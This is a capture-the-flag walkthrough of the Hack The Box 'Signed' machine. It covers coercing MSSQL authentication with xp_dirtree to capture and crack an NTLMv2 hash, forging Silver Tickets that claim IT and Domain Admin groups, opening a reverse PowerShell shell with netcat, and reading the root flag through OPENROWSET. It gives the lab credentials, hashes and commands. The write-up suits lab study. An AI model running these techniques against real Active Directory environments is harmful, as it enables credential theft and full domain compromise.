Machine Info
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
Host / IP
10.10.11.90 / SIGNED.HTB DC01.SIGNED.HTB. We add the record to our /etc/hosts.
TLDR
Summuary
- Use a SQL extended proc (xp_dirtree) to force the SQL service to authenticate to your SMB listener, capture the MSSQL service NTLMv2 hash, crack it → get mssqlsvc password.
- Forge a Silver ticket (Kerberos service ticket) for the MSSQL SPN using the service NT hash + domain SID + desired group RIDs (e.g. the IT group that is mapped to SQL sysadmin). Import that ticket and connect: SQL maps you to dbo/sysadmin and you can run xp_cmdshell or OPENROWSET to read files.
- For root: create a forged ticket that also claims membership in Domain Admins (RID 512) and Enterprise Admins (519) so the PAC causes the MSSQL service to run privileged file reads (OPENROWSET) as the service account and return C:\Users\Administrator\Desktop\root.txt.
User
Nmap
We run our initial nmap scan
nmap -p 1-65535 -T4 -A -v 10.10.11.90
Nmap scan report for 10.10.11.90
Host is up (0.29s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T18:31:24
|_Not valid after: 2055-10-11T18:31:24
| ms-sql-ntlm-info:
| 10.10.11.90:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.11.90:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-11T18:33:03+00:00; -25m44s from scanner time.
Host script results:
|_clock-skew: mean: -25m44s, deviation: 0s, median: -25m44s
MSSQL Enumeration
We will use mssqlclient from Impacket.
| |
Trying to enable xp_cmdshell failed of course as that would have been too easy.
We see that the databases are the default ones also.
Continuing the enumeration we enum the users, logins and the accounts we can impersonate.
We then move forward and trying to see if we have permissions executing xp_dirtree. If we get the result 1 from the below command we have the appropriate permissions.
| |

NTLM hash via xp_dirtree
As we have confirmed that we can run xp_dirtree we can use an known trick and try to get the mssql service to try an authenticate to our share and then we can grab the NTLM hash.
We start Responder
responder -I tun0We browse the directory on a remote SMB share that we control
xp_dirtree \\10.10.xx.xx\lolWe get the NTLMv2 hash of user
mssqlsvc
Lastly we just need to crack it
john --wordlist=/usr/share/wordlists/rockyou.txt mssqlsvc.hash
And we get the password which isShow solution
purPLE9795!@
MSSQL connection as mssqlsvc
| |
We check and see that still we cannot run xp_cmdshell and that we don’t have sysadmin priveleges. So we enumarate the users to see who has what with enum_logins.
We can see that sa and SIGNED\IT has sysadmin priveleges along with some service accounts.

Attack plan: Silver Ticket

We need
- the NTLM hash of the service account.
- the IT group SID which is what elevates our priveleges and our user SID.
- the SPN of the target service.
We will also need a helper script to convert the binary hex SIDs to readable format.
Get the SIDs
select SUSER_SID('SIGNED\IT')select SUSER_SID('SIGNED\mssqlsvc')
Get the SIDs into human readable format
| |
After retrieving and converting the scripts we get these two:
S-1-5-21-4088429403-1159899800-2753317549-1105for the IT groupS-1-5-21-4088429403-1159899800-2753317549-1103for the mssqlsvc
Calculate the NTLM hash
iconv -f ASCII -t UTF-16LE <(printf 'purPLE9795!@') | openssl dgst -md4Which gives the hash
EF699384C3285C54128A3EE1DDB1A0CC
Create the Silver Ticket
| |

Then we export the Kerberos credenital cache with export KRB5CCNAME=mssqlsvc.ccache and we are ready to authenicate with elevated priveleges.
Get User flag
We connect using the ticket impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB.
Then we enable_xp_cmdshell and we can simply grab the flag
| |
Root
First thing to do which we could have done even before is to establish a reverse powershell.
- In one terminal we start our listener:
nc -lnvp 4444 - And on the MS SQL client we execute the payload:
SQL (SIGNED\mssqlsvc dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4Ad......
Privelege Escalation
Get-ADGroup "Domain Admins" | Select-Object Name, SID
Get-ADGroup "Enterprise Admins" | Select-Object Name, SID

Then we are going to follow the exact same process with the ticketer
| |
Read Admin flag via OPENROWSET
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS x;

Why this worked?
If we were to try and read the flag with xp_cmdshell it would fail!
| |
OPENROWSET(BULK...), on the other hand, is an OLE DB bulk provider call made inside SQL Server. It asks the SQL Server process to open the file and return it as a table/value. No shell is spawned — it’s purely T-SQL.
